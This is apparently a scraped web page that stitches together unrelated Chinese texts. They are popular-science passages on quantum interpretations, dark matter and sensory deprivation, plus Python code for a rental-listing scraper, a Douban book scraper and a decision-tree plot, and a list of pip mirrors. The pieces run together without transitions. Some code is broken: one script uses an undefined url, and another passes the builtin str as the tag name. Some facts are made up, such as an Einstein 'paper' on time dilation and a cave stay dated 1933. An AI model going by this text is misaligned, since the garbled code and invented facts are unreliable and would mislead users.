Wigner),他就说,如果你不考虑人的意识的话,你就没有办法得到一套自洽的量子力学理论。 但我们同时知道,量子力学能够非常精准地描述微观世界的一切自然现象。那么这就等于说,人,成了一个在自然界物理定律之外的东西。 这个解释你能接受吗?达尔文以来人类最大的教训就是人只不过就是一堆基本粒子的排列组合,难道现在人又变特殊了吗? 但是真实主义者的观点更耸人听闻。真实主义者认为量子力学描写的就是真实世界,既包括电子,也包括人。 那么不确定性从哪里来呢?其实根本就没有什么不确定性 — 每次观测的时候,正自旋和负自旋,实际上都发生了!只不过是在平行宇宙里发生。 在这个宇宙里的你,观测到了一个正自旋。而在另外一个平行宇宙里,还有另外一个你,观测到的是一个负自旋。你以为是概率,其实你是不知道另一个你的存在。宇宙每时每刻都在发生分叉,每条岔道上都有一个你,谁也不比谁特殊。 这个平行宇宙解释是1957年普林斯顿大学的一个博士生的博士论文,后来成了一系列科幻小说的素材。一般物理学家、包括温伯格在内都不太赞成这个理论。 每时每刻都分裂出去一个新宇宙?至于吗?而且真实主义者的解释还有别的技术问题,这里就不多说了。 这两派观点,温伯格都不满意。其实你不较真的话,量子力学是个特比好的理论,跟实验结果高度吻合,可以说是最成功的物理理论。那何必还叫这个真呢?温伯格说,既然量子力学有这个困境,也许我们可以探索一个比量子力学更好的新理论。 实验不太可能给新理论提供什么灵感,毕竟量子力学太准了。 温伯格畅想,我们大概只能先从逻辑上推测这个新理论。温伯格讲了他的思路,技术性比较强,我们就不说了。 温伯格希望将来有了这个新理论之后,也许新理论和现有的量子力学理论之间存在一个微小的差异,也许我们在特别精确的实验中能测出来这个微小的差异,这样的话,新理论就有它的价值。
代码: 1 # coding=utf-8 2 import sys 3 import csv 4 import requests 5 from bs4 import BeautifulSoup 6 7 reload(sys) 8 sys.setdefaultencoding('utf-8') 9 # 请求头设置 10 11 def download(url): 12 db_data = requests.get(url) 13 soup = BeautifulSoup(db_data.text, 'lxml') 14 titles = soup.select( 15 'body > div.mainbox > div.main > div.content > div.listBox > ul > li > div.des > h2 > a:nth-of-type(1)') 16 houses = soup.select('body > div.mainbox > div.main > div.content > div.listBox > ul > li > div.des > p.room') 17 oneaddresss = soup.select( 18 'body > div.mainbox > div.main > div.content > div.listBox > ul > li > div.des > p.add > a:nth-of-type(1)') 19 twoaddresss = soup.select( 20 'body > div.mainbox > div.main > div.content > div.listBox > ul > li > div.des > p.add > a:nth-of-type(2)') 21 prices = soup.select( 22 'body > div.mainbox > div.main > div.content > div.listBox > ul > li > div.listliright > div.money > b') 23 for title, house, oneaddress, twoaddress, price in zip(titles, houses, oneaddresss, twoaddresss, prices): 24 data = [ 25 ( 26 str(title.string).replace(' ', '').replace('\n', ''), 27 house.get_text().split(' ')[0].replace(' ', '').replace("\n", ""), 28 house.get_text().split(' ')[-1].replace(' ', '').replace("\n", ""), 29 oneaddress.get_text().replace(' ', '').replace("\n", ""), 30 twoaddress.get_text().replace(' ', '').replace("\n", ""), 31 price.get_text().replace(' ', '').replace("\n", "") 32 ) 33 ] 34 35 csvfile = open('kf.csv', 'ab') 36 writer = csv.writer(csvfile) 37 print('write one house') 38 writer.writerows(data) 39 csvfile.close() 40 41 42 # 初始化csv文件 43 def info(): 44 csvinfo = open('kf.csv', 'ab') 45 begcsv = csv.writer(csvinfo) 46 begcsv.writerow(['title', 'house', 'area', 'address1', 'address2', 'price']) 47 csvinfo.close() 48 49 50 if __name__ == '__main__': 51 info() 52 download(url)
对楼的小姐姐是个变态 天天拿望远镜偷窥我 不行,我得守好自己的秘密 从某种意义上说,天文学家干的事儿和偷窥者差不多,他们都是充满好奇心地观察一些东西。 也许最大区别的是,天文学家看的东西更多、看的时间更长,而且看得非常非常用心。 所以天文学家发现的结果,比偷窥邻居可刺激多了…… 0. 前言 咱们今天继续说尼尔·泰森的《给忙碌者的天体物理学》 物理学家知道的很多事儿。 今天要说的是一个物理学家还不完全知道,但是做梦都想知道的事儿。 在望远镜刚刚出来的时候,它的放大倍数很低,既没有军事用途也没有科学用途。 最早的望远镜被称为“偷窥镜”,因为人们买望远镜主要是为了偷窥邻居。 当然偷窥这个行为是很猥琐,但是这也取决于你观察邻居的时候,到底看了什么、看了多长时间,和你看的时候有多用心。 我就听说过有人通过偷窥洞察了人性,还出了书,更新了世人的三观。 从某种意义上说,天文学家干的事儿和偷窥者差不多,他们都是充满好奇心地观察一些东西。 也许最大区别的是,天文学家看的东西更多、看的时间更长,而且看得非常非常用心。 所以天文学家发现的结果,比偷窥邻居可刺激多了。 而今天这个内容就好比说,你发现有些邻居的行为,实在太怪异了 1. 少了很多东西 满天星斗并非是杂乱无章的。 古人的思路是把星星划分成“星座”,而今天的天文学家对星星之间的关系看得更清楚,他们的划分思路是“星系”和“星系团”。 我们这个太阳,就处在“银河系”这个星系之中。从地球上看,银河是带状的—— 但是如果你能换个远方太空中居高临下的视角,银河系其实是盘状的。 它有若干条螺旋臂,太阳就位于银河系的某个不起眼的螺旋臂的某个不起眼的位置。 每个星系中可能有千亿、甚至万亿颗恒星。就好像行星围绕恒星转一样,星系中的恒星也绕着星系的中心转 —— 这当然是因为星系内部这一大堆恒星集合在一起,给外面的恒星提供了一个向内的引力。 像银河系这样的星系,宇宙中至少有千亿个。星系们又组成星系团,然后每个星系都绕着它所在星系团的中心转。 在星系中间那广阔的空旷地带,其实也有很多物质,包括矮星系、不属于任何星系的孤单恒星、星系间气体等等。 但是总体来说,结构就是这样。 如果你把宇宙想象成一个国家,星系团就好像是城市,这些城市就好像一个一个的岛屿散布在宇宙之中。 天文学家看着这些星系和星系团,实在着迷。 1937年的时候,天文学家弗里茨·兹威基(Fritz Zwicky)仔细观察了一个星系团,叫“后发座星系团”。兹威基选择了后发座星系团里的几个星系,测量了这些星系绕着星系团旋转的移动速度。兹威基发现,这些星系的速度都太快了。 咱们可以做个实验体会一下。你拿一根比较长绳子,比如说耳机线吧,抓住一端快速甩动,让绳子绕着你手指旋转。很明显,转动速度越快,你的手指就要越用力。如果转动速度特别快以至于你的手抓不住了,这个绳子就会飞出去。地球绕着太阳转也是这个道理,中心提供的引力越大,能支持的旋转速度就越大。 星系绕着星系团中心转,也是这个道理。兹威基估算了后发座星系团内部大概有多少星系,这些星系总共有多大的质量,能提供多大的引力。 他发现这个引力根本支撑不了外面星系旋转的速度!那么高的速度,那几个星系都应该被甩出去才对! 兹威基非常相信自己的计算,他据此判断,星系团内部必定还有一些我们看不到的物质,提供了多余的引力。 此后天文学家们陆续考察了别的星系团,结果每个星系团都有这个现象。 到了1976年的时候,一个叫薇拉·鲁宾(Vera Rubin)女天文学家又把目光对准了恒星围绕星系的转动。首先她注意到,在一个星系的可见部分之中,越往外的恒星,旋转速度就越快。这个是可以理解的,越往外的恒星,它里面的恒星就越多,能提供的引力就越大。 然后鲁宾在星系的最边缘找了几个恒星,结果发现这几个恒星也是越往外速度越快。这就不对了,因为从这里再往外,就已经没有多少恒星给它们提供更多的引力。 不论星系绕着星系团转,还是恒星绕着星系转,转速都比天文学家计算的快得多。 咱们打个比方。这就好像你密切观察你家的邻居,你详细记录了每一个人的出行情况,发现他们平时都不出门,只在周末出去买点食物回来吃。你仔细测量了他们每周末买回来的食物都有什么,总共能提供多少热量,结果你发现这些买回来的东西根本不够一家人吃一周。 那这一家人是怎么生存的呢? 2.黑暗的物质 最合理的解释,就是邻居吃了一些你看不到的东西。物理学家把提供多余引力的东西,称为“暗物质”。 计算表明,想要维持那么高的速度,暗物质不但要提供多余引力,而且必须提供很多很多引力才行 —— 暗物质的总质量,必须是已知物质总质量的6倍。 考虑到暗物质,我们银河系的图像应该是这样的 整个星系被一层厚厚的暗物质包围。暗物质在星系中间比较浓,远离星系的地方慢慢变淡。因为我们的太阳系只是整个星系中间的一小块区域,行星和卫星都太小,运动不会受到暗物质影响,我们没感觉到。但是考察星系边缘那些恒星的运动,影响就非常明显了。 暗物质到底是什么东西呢?我们的第一反应,也许暗物质就是一些比较“暗”的正常物质,因为太暗了我们没看到而已。 而物理学家已经排除了这种可能性。咱们先一个一个地数。 暗物质是黑洞吗? 黑洞其实是可以探测到的。黑洞在很小的区域内产生很大的引力,周围星体会绕着黑洞转,我们一看那些星体的轨道,就知道中间有个黑洞。 暗物质是星际间的气体云吗? 也不是。遥远的星光穿过气体云,会受到影响,但我们没有发现到这种影响。 暗物质有没有可能是一些散布在空间没有恒星“主人”的流浪行星呢? 这也不太可能。你要知道,我们太阳系总重量的4/5在太阳上,而不是行星上 —— 宇宙中不太可能是行星集中那么大比例的质量。 就好像中学生解数学题要用两种不同方法求解一样,物理学家还可以从另一个方面证明暗物质不是寻常物质。 物理学家计算表明,大爆炸产生的氢原子和氦原子核的比例是 10 : 1,这个比例还可以跟宇宙微波背景辐射的观测结果对上号 —— 宇宙创生中所有的核反应都在这里了。 那也就是说,暗物质根本就没参与核反应! 目前所有的仪器都测不到暗物质。物理学家知道的四种相互作用,暗物质很可能除了引力之外,其他都不参与。 咱们想想这个东西。除了引力,我们在生活中,在原子核之外,所能感受到的所有“力” —— 我们能看到光、我们被什么东西打一下会疼,这些都是电磁力。可是暗物质不参与电磁力。 这就是说,你的房间里遍布着一种特殊粒子构成的气体。这种粒子可能比质子、中子都大很多,也很重。可是你摸不着它、看不到它,就算用上各种先进仪器,也完全感受不到它的存在。你任凭它在你的身体中穿过。 3.各种可能性 早睡早起就是宇宙和谐的真正奥义!!!
文化 经管 ....略 结论: 一个模块的评分与评论数相关,评分为 [8.8——9.2] 之间的书籍评论数往往是模块中最多的
前文参考: https://www.cnblogs.com/LexMoon/p/douban1.html Matplotlib绘制决策树代码: 1 # coding=utf-8 2 import matplotlib.pyplot as plt 3 4 decisionNode = dict(boxstyle='sawtooth', fc='10') 5 leafNode = dict(boxstyle='round4',fc='0.8') 6 arrow_args = dict(arrowstyle='<-') 7 8 9 10 def plotNode(nodeTxt, centerPt, parentPt, nodeType): 11 createPlot.ax1.annotate(nodeTxt, xy=parentPt, xycoords='axes fraction',\ 12 xytext=centerPt,textcoords='axes fraction',\ 13 va='center', ha='center',bbox=nodeType,arrowprops\ 14 =arrow_args) 15 16 17 def getNumLeafs(myTree): 18 numLeafs = 0 19 firstStr = list(myTree.keys())[0] 20 secondDict = myTree[firstStr] 21 for key in secondDict: 22 if(type(secondDict[key]).__name__ == 'dict'): 23 numLeafs += getNumLeafs(secondDict[key]) 24 else: 25 numLeafs += 1 26 return numLeafs 27 28 def getTreeDepth(myTree): 29 maxDepth = 0 30 firstStr = list(myTree.keys())[0] 31 secondDict = myTree[firstStr] 32 for key in secondDict: 33 if(type(secondDict[key]).__name__ == 'dict'): 34 thisDepth = 1+getTreeDepth((secondDict[key])) 35 else: 36 thisDepth = 1 37 if thisDepth > maxDepth: maxDepth = thisDepth 38 return maxDepth 39 40 def retrieveTree(i): 41 #预先设置树的信息 42 listOfTree = [{'no surfacing':{0:'no',1:{'flipper':{0:'no',1:'yes'}}}}, 43 {'no surfacing':{0:'no',1:{'flipper':{0:{'head':{0:'no',1:'yes'}},1:'no'}}}}, 44 {'Comment score greater than 8.0':{0:{'Comment score greater than 9.5':{0:'Yes',1:{'More than 45,000 people commented': { 45 0: 'Yes',1: 'No'}}}},1:'No'}}] 46 return listOfTree[i] 47 48 def createPlot(inTree): 49 fig = plt.figure(1,facecolor='white') 50 fig.clf() 51 axprops = dict(xticks = [], yticks=[]) 52 createPlot.ax1 = plt.subplot(111,frameon = False,**axprops) 53 plotTree.totalW = float(getNumLeafs(inTree)) 54 plotTree.totalD = float(getTreeDepth(inTree)) 55 plotTree.xOff = -0.5/plotTree.totalW;plotTree.yOff = 1.0 56 plotTree(inTree,(0.5,1.0), '') 57 plt.title('Douban reading Decision Tree\n') 58 plt.show() 59 60 def plotMidText(cntrPt, parentPt,txtString): 61 xMid = (parentPt[0]-cntrPt[0])/2.0 + cntrPt[0] 62 yMid = (parentPt[1] - cntrPt[1])/2.0 + cntrPt[1] 63 createPlot.ax1.text(xMid, yMid, txtString) 64 65 def plotTree(myTree, parentPt, nodeTxt): 66 numLeafs = getNumLeafs(myTree) 67 depth = getTreeDepth(myTree) 68 firstStr = list(myTree.keys())[0] 69 cntrPt = (plotTree.xOff+(1.0+float(numLeafs))/2.0/plotTree.totalW,\ 70 plotTree.yOff) 71 plotMidText(cntrPt,parentPt,nodeTxt) 72 plotNode(firstStr,cntrPt,parentPt,decisionNode) 73 secondDict = myTree[firstStr] 74 plotTree.yOff = plotTree.yOff - 1.0/plotTree.totalD 75 for key in secondDict: 76 if type(secondDict[key]).__name__ == 'dict': 77 plotTree(secondDict[key],cntrPt,str(key)) 78 else: 79 plotTree.xOff = plotTree.xOff + 1.0/plotTree.totalW 80 plotNode(secondDict[key],(plotTree.xOff,plotTree.yOff),\ 81 cntrPt,leafNode) 82 plotMidText((plotTree.xOff,plotTree.yOff),cntrPt,str(key)) 83 plotTree.yOff = plotTree.yOff + 1.0/plotTree.totalD 84 85 if __name__ == '__main__': 86 myTree = retrieveTree(2) 87 createPlot(myTree) 运行结果:
爬虫目的: 随着近年互联网的发展,网络上的信息飞速数量增长。在庞大的数据面前想要获得期望的信息往往如同大海捞针。通过合理的筛选,在百万甚至数亿计的数据中找到所需信息,无疑有着非常大的意义。 在豆瓣网下,有很多与日常生活相关的模块网站 内置的评分评价功能可以为用户提供很大选择空间,以豆瓣读书为例: 其中包含六个大型模块(文学,流行,文化,生活,经管,科技),内部细分了145个小型模块。 在以数十万计的图书信息中,找到各模块中热门好评图书,对于读者或是书商都是很重要的。 爬虫代码概述 一.数据存储 csv文件存储,为方便后继使用pandas进行分析,对于爬取的html文件使用BeautifulSoup进行解析 字段选择为 : 书名(titles) 作者/出版社(authors) 评分(nums) 评论数(peoples) 1 csvinfo = open(name + '.csv', 'ab') 2 begcsv = csv.writer(csvinfo) 3 begcsv.writerow(['titles', 'authors', 'nums', 'peoples']) 4 csvinfo.close() 二.网页解析 html中书名(titles) 作者/出版社(authors) 评分(nums) 评论数(peoples)等字段对应selector分别为: #subject_list > ul > li > div.info > h2 > a #subject_list > ul > li > div.info > div.pub #subject_list > ul > li > div.info > div.star.clearfix > span.rating_nums #subject_list > ul > li > div.info > div.star.clearfix > span.pl 解析代码如下 : 1 # 爬取指定name模块的url,并存储至name.csv文件 2 def web(url, name): 3 db_data = requests.get(url, headers=header) 4 soup = BeautifulSoup(db_data.text, 'lxml') 5 titles = soup.select('#subject_list > ul > li > div.info > h2 > a') 6 authors = soup.select('#subject_list > ul > li > div.info > div.pub') 7 nums = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.rating_nums') 8 peoples = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.pl') 9 10 for title, author, num, people in zip(titles, authors, nums, peoples): 11 data = [ 12 ( 13 title.get('title'), 14 author.get_text().replace(' ', '').replace("\n", ""), 15 num.get_text().replace(' ', '').replace("\n", ""), 16 people.get_text().replace(' ', '').replace("\n", "") 17 ) 18 ] 19 csvfile = open(name + '.csv', 'ab') 20 writer = csv.writer(csvfile) 21 print(data) 22 writer.writerows(data) 23 csvfile.close() 三.请求头设置 1 header = { 2 'Accept': '*/*;', 3 'Connection': 'keep-alive', 4 'Accept-Language': 'zh-CN,zh;q=0.9', 5 'Accept-Encoding': 'gzip, deflate, br', 6 'Host': 'book.douban.com', 7 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36' 8 } 四.图书分页 在豆瓣的反爬虫机制中,正常人浏览习惯只会查看靠前的页码,而位于后面的一般不会查看, 所以豆瓣将50页之后的书籍信息设置为只能通过搜索查询,在分页中无法查看。url规则为每页加20,get请求,所以在确定标签后,可以修改start值来换页。 代码: 1 # name模块标签分页 指定为前50页 2 def setCsv(name): 3 url = 'https://book.douban.com/tag/' + name 4 urls = [('https://book.douban.com/tag/' + name + '?start={}&type=T').format(str(i)) for i in range(20, 980, 20)] 5 info(name=name) 6 web(url, name) 7 for single_url in urls: 8 print(single_url) 9 web(single_url, name=name) 五.完整代码 1 # -*- coding: utf-8 -*- 2 from bs4 import BeautifulSoup 3 import requests 4 import csv 5 import sys 6 7 reload(sys) 8 sys.setdefaultencoding('utf-8') 9 10 # 请求头设置 11 header = { 12 'Accept': '*/*;', 13 'Connection': 'keep-alive', 14 'Accept-Language': 'zh-CN,zh;q=0.9', 15 'Accept-Encoding': 'gzip, deflate, br', 16 'Host': 'book.douban.com', 17 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36' 18 } 19 20 21 # 初始化csv文件 22 def info(name): 23 csvinfo = open(name + '.csv', 'ab') 24 begcsv = csv.writer(csvinfo) 25 begcsv.writerow(['titles', 'authors', 'nums', 'peoples']) 26 csvinfo.close() 27 28 29 # 爬取指定name模块的url,并存储至name.csv文件 30 def web(url, name): 31 db_data = requests.get(url, headers=header) 32 soup = BeautifulSoup(db_data.text, 'lxml') 33 titles = soup.select('#subject_list > ul > li > div.info > h2 > a') 34 authors = soup.select('#subject_list > ul > li > div.info > div.pub') 35 nums = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.rating_nums') 36 peoples = soup.select('#subject_list > ul > li > div.info > div.star.clearfix > span.pl') 37 38 for title, author, num, people in zip(titles, authors, nums, peoples): 39 data = [ 40 ( 41 title.get('title'), 42 author.get_text().replace(' ', '').replace("\n", ""), 43 num.get_text().replace(' ', '').replace("\n", ""), 44 people.get_text().replace(' ', '').replace("\n", "") 45 ) 46 ] 47 csvfile = open(name + '.csv', 'ab') 48 writer = csv.writer(csvfile) 49 print(data) 50 writer.writerows(data) 51 csvfile.close() 52 53 54 # name模块标签分页 指定为前50页 55 def setCsv(name): 56 url = 'https://book.douban.com/tag/' + name 57 urls = [('https://book.douban.com/tag/' + name + '?start={}&type=T').format(str(i)) for i in range(20, 980, 20)] 58 info(name=name) 59 web(url, name) 60 for single_url in urls: 61 print(single_url) 62 web(single_url, name=name) 63 64 65 if __name__ == '__main__': 66 setCsv(str) #str为标签名 六.数据结果 1 wber@wber:~/桌面$ tree -h 数据 2 数据 3 ├── [4.0K] 经管 4 │ ├── [ 41K] 策划.csv 5 │ ├── [ 79K] 创业.csv 6 │ ├── [ 70K] 股票.csv 7 │ ├── [ 98K] 管理.csv 8 │ ├── [ 67K] 广告.csv 9 │ ├── [ 90K] 金融.csv 10 │ ├── [ 95K] 经济学.csv 11 │ ├── [ 79K] 理财.csv 12 │ ├── [ 43K] 企业史.csv 13 │ ├── [ 94K] 商业.csv 14 │ ├── [ 89K] 投资.csv 15 │ └── [ 86K] 营销.csv 16 ├── [4.0K] 科技 17 │ ├── [ 19K] UCD.csv 18 │ ├── [ 21K] UE.csv 19 │ ├── [ 64K] web.csv 20 │ ├── [ 92K] 编程.csv 21 │ ├── [ 43K] 程序.csv 22 │ ├── [ 89K] 互联网.csv 23 │ ├── [ 33K] 交互.csv 24 │ ├── [ 64K] 交互设计.csv 25 │ ├── [ 66K] 科技.csv 26 │ ├── [100K] 科普.csv 27 │ ├── [ 99K] 科学.csv 28 │ ├── [5.8K] 神经网络.csv 29 │ ├── [ 48K] 算法.csv 30 │ ├── [ 20K] 通信.csv 31 │ └── [ 65K] 用户体验.csv 32 ├── [4.0K] 流行 33 │ ├── [ 23K] J.K.罗琳.csv 34 │ ├── [ 67K] 阿加莎·克里斯蒂.csv 35 │ ├── [ 37K] 安妮宝贝.csv 36 │ ├── [ 18K] 沧月.csv 37 │ ├── [ 81K] 穿越.csv 38 │ ├── [ 75K] 耽美.csv 39 │ ├── [ 76K] 东野圭吾.csv 40 │ ├── [ 21K] 高木直子.csv 41 │ ├── [ 37K] 古龙.csv 42 │ ├── [ 22K] 郭敬明.csv 43 │ ├── [ 50K] 韩寒.csv 44 │ ├── [106K] 绘本.csv 45 │ ├── [ 40K] 几米.csv 46 │ ├── [ 49K] 金庸.csv 47 │ ├── [ 99K] 科幻.csv 48 │ ├── [ 97K] 科幻小说.csv 49 │ ├── [ 19K] 落落.csv 50 │ ├── [ 98K] 漫画.csv 51 │ ├── [ 91K] 魔幻.csv 52 │ ├── [ 98K] 奇幻.csv 53 │ ├── [ 90K] 青春.csv 54 │ ├── [ 85K] 青春文学.csv 55 │ ├── [ 86K] 日本漫画.csv 56 │ ├── [ 65K] 三毛.csv 57 │ ├── [ 96K] 推理.csv 58 │ ├── [ 97K] 推理小说.csv 59 │ ├── [ 83K] 网络小说.csv 60 │ ├── [ 76K] 武侠.csv 61 │ ├── [ 46K] 校园.csv 62 │ ├── [ 94K] 悬疑.csv 63 │ ├── [ 84K] 言情.csv 64 │ ├── [ 62K] 亦舒.csv 65 │ ├── [ 80K] 张小娴.csv 66 │ └── [ 14K] 张悦然.csv 67 ├── [4.0K] 生活 68 │ ├── [ 82K] 爱情.csv 69 │ ├── [ 93K] 成长.csv 70 │ ├── [ 49K] 家居.csv 71 │ ├── [ 80K] 健康.csv 72 │ ├── [ 93K] 教育.csv 73 │ ├── [ 88K] 励志.csv 74 │ ├── [ 70K] 两性.csv 75 │ ├── [ 89K] 灵修.csv 76 │ ├── [ 85K] 旅行.csv 77 │ ├── [ 82K] 美食.csv 78 │ ├── [ 85K] 女性.csv 79 │ ├── [ 83K] 情感.csv 80 │ ├── [ 58K] 人际关系.csv 81 │ ├── [ 85K] 摄影.csv 82 │ ├── [ 89K] 生活.csv 83 │ ├── [ 67K] 手工.csv 84 │ ├── [100K] 心理.csv 85 │ ├── [ 64K] 养生.csv 86 │ ├── [ 80K] 游记.csv 87 │ ├── [ 86K] 职场.csv 88 │ └── [ 21K] 自助游.csv 89 ├── [4.0K] 文化 90 │ ├── [ 93K] 传记.csv 91 │ ├── [ 94K] 电影.csv 92 │ ├── [ 77K] 二战.csv 93 │ ├── [ 69K] 佛教.csv 94 │ ├── [ 76K] 国学.csv 95 │ ├── [ 78K] 回忆录.csv 96 │ ├── [ 88K] 绘画.csv 97 │ ├── [ 86K] 建筑.csv 98 │ ├── [ 75K] 近代史.csv 99 │ ├── [ 76K] 军事.csv 100 │ ├── [ 61K] 考古.csv 101 │ ├── [ 91K] 历史.csv 102 │ ├── [ 82K] 美术.csv 103 │ ├── [ 89K] 人文.csv 104 │ ├── [ 85K] 人物传记.csv 105 │ ├── [ 91K] 社会.csv 106 │ ├── [ 93K] 社会学.csv 107 │ ├── [ 90K] 设计.csv 108 │ ├── [ 84K] 数学.csv 109 │ ├── [ 90K] 思想.csv 110 │ ├── [ 89K] 文化.csv 111 │ ├── [ 90K] 西方哲学.csv 112 │ ├── [ 79K] 戏剧.csv 113 │ ├── [102K] 心理学.csv 114 │ ├── [ 96K] 艺术.csv 115 │ ├── [ 82K] 艺术史.csv 116 │ ├── [ 82K] 音乐.csv 117 │ ├── [ 95K] 哲学.csv 118 │ ├── [ 90K] 政治.csv 119 │ ├── [ 89K] 政治学.csv 120 │ ├── [ 80K] 中国历史.csv 121 │ ├── [ 67K] 自由主义.csv 122 │ └── [ 86K] 宗教.csv 123 └── [4.0K] 文学 124 ├── [ 32K] 茨威格.csv 125 ├── [ 66K] 村上春树.csv 126 ├── [ 67K] 当代文学.csv 127 ├── [ 19K] 杜拉斯.csv 128 ├── [ 89K] 儿童文学.csv 129 ├── [ 24K] 港台.csv 130 ├── [ 76K] 古典文学.csv 131 ├── [ 92K] 经典.csv 132 ├── [ 40K] 鲁迅.csv 133 ├── [ 16K] 米兰·昆德拉.csv 134 ├── [ 84K] 名著.csv 135 ├── [ 23K] 钱钟书.csv 136 ├── [ 87K] 日本文学.csv 137 ├── [ 75K] 散文.csv 138 ├── [ 76K] 诗词.csv 139 ├── [ 87K] 诗歌.csv 140 ├── [ 79K] 随笔.csv 141 ├── [ 91K] 童话.csv 142 ├── [ 79K] 外国名著.csv 143 ├── [ 99K] 外国文学.csv 144 ├── [ 61K] 王小波.csv 145 ├── [ 89K] 文学.csv 146 ├── [ 88K] 小说.csv 147 ├── [ 31K] 余华.csv 148 ├── [ 73K] 杂文.csv 149 ├── [ 60K] 张爱玲.csv 150 └── [ 71K] 中国文学.csv 151 152 6 directories, 142 files
pip install * -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 其他: 阿里云 http://mirrors.aliyun.com/pypi/simple/中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban) http://pypi.douban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/
什么也感觉不到 直到你开始反省 …… 感官丧失箱 感官丧失,顾名思义,就是想办法屏蔽人的所有感官,让你什么都感觉不到。最早约1954年的时候,研究者为了研究感官剥夺,设计出了一种封闭仓。在仓里,人的视觉、听觉、嗅觉、触觉刺激都被想办法尽量限制了。一般来说,感官丧失箱的配置大概是这样的: 仓内完全黑暗 仓内有液体,深度10cm-30cm 液体是泻盐溶液(epsom salt),也就是硫酸镁(magnesium sulphate)溶液,因此人会在液体中处于漂浮状态 液体温度接近人类体温37度 仓内有空气循环系统 感官丧失箱的外观,一般长这样: 或者这样: 在感官丧失的环境下,人们极易产生幻觉。 诺贝尔物理学奖获得者费曼先生的回忆录《别闹了,费曼先生》里,记录了他体验感官丧失箱的经历。他前后体验了总有12次,每次大概在仓里躺上两个半小时。在感官丧失箱里,他有了冥想中描绘的“出神”体验,也就是“元神出窍”——他感到 “自我”可以在身体内移动,甚至飘出体外观察在水中漂浮的自己。 事后,他觉得自己应该是产生了幻觉。因为进入感官丧失箱以前,他和人们进行了一些关于“元神出窍”的讨论。除此之外,他还产生过很多其他的幻觉。随着幻觉的出现,很多记忆和潜意识中的“垃圾”也不请自来,形成很多随机的、混乱的幻象。 上面提到的感官丧失箱,给人带来的体验往往是正面的。 例如:可以减缓焦虑、压力、抑郁感;可以缓解肌肉和骨骼疼痛;提升睡眠质量甚至降低血压;提高意识清醒度和视觉皮质兴奋度;提升创造力和专注力等等。 有意思的是,研究表明,感官隔绝实验也会带来很多负面的影响。这也就是我们视频里出现的,惩罚罪犯的禁闭室的原型。 最早的相关实验,大概是加拿大 McGill 大学的研究者在上个世纪50年代进行的。他们让招募来的试验者,也就是男性学生,戴上半透明眼罩和棉手套,躺在空气流通的胶囊房间里,除了进食和如厕,不能进行任何其他的活动,然后看看他们最长可以承受多长时间。 当时,实验的目的是为了探求“人在一个没有意义的环境下会发生什么”。 结果发现,很多被试的学生变得易怒、认知能力下降、并产生明显幻觉。比如,有的学生看到背着小书包的松鼠排着队在自己的肩上齐步走,有的感觉自己被火箭模型砸了一下。这个研究的结论是,发现长时间、无意义的环境,会对人类产生确切的有害影响。 2004年,研究者们让13个健康的被试者蒙着眼罩生活96个小时,并通过录音记录自己每日的生活。结果发现13个被试者中有10人产生了视幻觉,症状有的是看到简单的白光白点,也有的能看到复杂的景象、人脸等等。他们看到的,或许类似于下图: 说起来,微软 Building 87 消音室同样也是真实存在的。这间消音室的平均背景噪声仅为 -20.35 分贝。 正如微软首席工程师戈帕尔·戈帕尔(Gopal Gopal)指出的那样:“这里处于物理学的边缘。” 有兴趣的同学,可以通过以下网址了解 Where sound goes to die 。 https://news.microsoft.com/stories/building87/audio-lab.php 同样的,有试验结果表明,仅仅在 Building 87 这种极度安静的隔音小屋里待上15分钟,被试者们就产生了情绪低落、幻觉、妄想等症状。 时间认知的偏差 1961年,法国地质学家 Michel Siffre 为了研究位于法国境内阿尔卑斯山的地下冰川,开始了为期两周的探险活动。 黑暗生活对人体生物学的影响令他心醉神迷,于是他决定不用任何方式记录时间,像动物一样在地底生活。(下图是他从地底回到地面的照片,由于无法适应光线,他需要戴上眼罩) 在他自认为大约过了2周后,他回到了地面上。 然而,地表时间实际上已经过去了2个月。 后来,研究团队对Michel Siffre 进行计时测试,发现他花了整整5分钟的时间,才数完他所认为的2分钟。 还有另一个类似的实验。 1933年,社会学家兼洞穴爱好者 Maurizio Montalbini 在意大利靠近佩萨罗(Pesaro)的一处地下洞穴里待了366天。 这处洞穴原本是美国国家航空航天局(NASA)为了模拟太空任务而设计的。回到地面上后,他以为只过了219天。因此,他的睡眠周期实际上几乎延长了一倍。 自那时起,研究人员就发现黑暗中的人们会逐渐适应48小时的周期——其中36小时是活动时间,之后的12小时是睡眠时间。具体原因尚不明确。 综上所述,感官丧失会令人产生幻觉和对时间的认知偏差。 这类似于爱因斯坦在文章《外在感受对时间膨胀之影响》中所描述的: 一个男人与美女对坐一小时,会觉得只过了一分钟;但如果让他在火炉上坐一分钟,他会觉得过了不止一小时。 当然了,感官丧失和相对论其实风马牛不相及,但是“参考系会影响时间”这件事,确实有点儿像。 现在,你可能会想到一个新的问题:你怎么知道,我所体验的一定是幻觉,你所体验的就是现实世界呢? 我的世界,也是你的世界吗? 提到感官丧失,我们首先要搞清楚,它到底什么是感觉。 人的大脑本身既听不到、看不到、也闻不到任何东西,它被关在又黑又静的头盖骨里,它能看到的只有不同“数据线”传来的电化学信号。另一方面,大脑非常擅长于捕捉这些信号,从中提取信息、赋予含义。大脑就是以这种方式解读这个内部宇宙,合成人的主观世界。在经过大脑处理之后,你才产生了视觉、听觉、嗅觉、味觉和触觉。 在自然界,每一种动物感知世界的能力不同,因此他们“看”到的“世界”也不同。对于又聋又瞎的扁虱子来说,世界反馈给它的重要信号是温度和丁酸——周遭的气味;在黑鬼刀鱼看来,它的感官世界充满五光十色的电场,远比人类看到的世界丰富;对于蝙蝠来说,它们的世界由空气压缩波构成。 在每种动物的“眼中”,都存在着一种与众不同的“客观世界”。 注意,上面“观察世界”所利用到的都是“生理感官”。 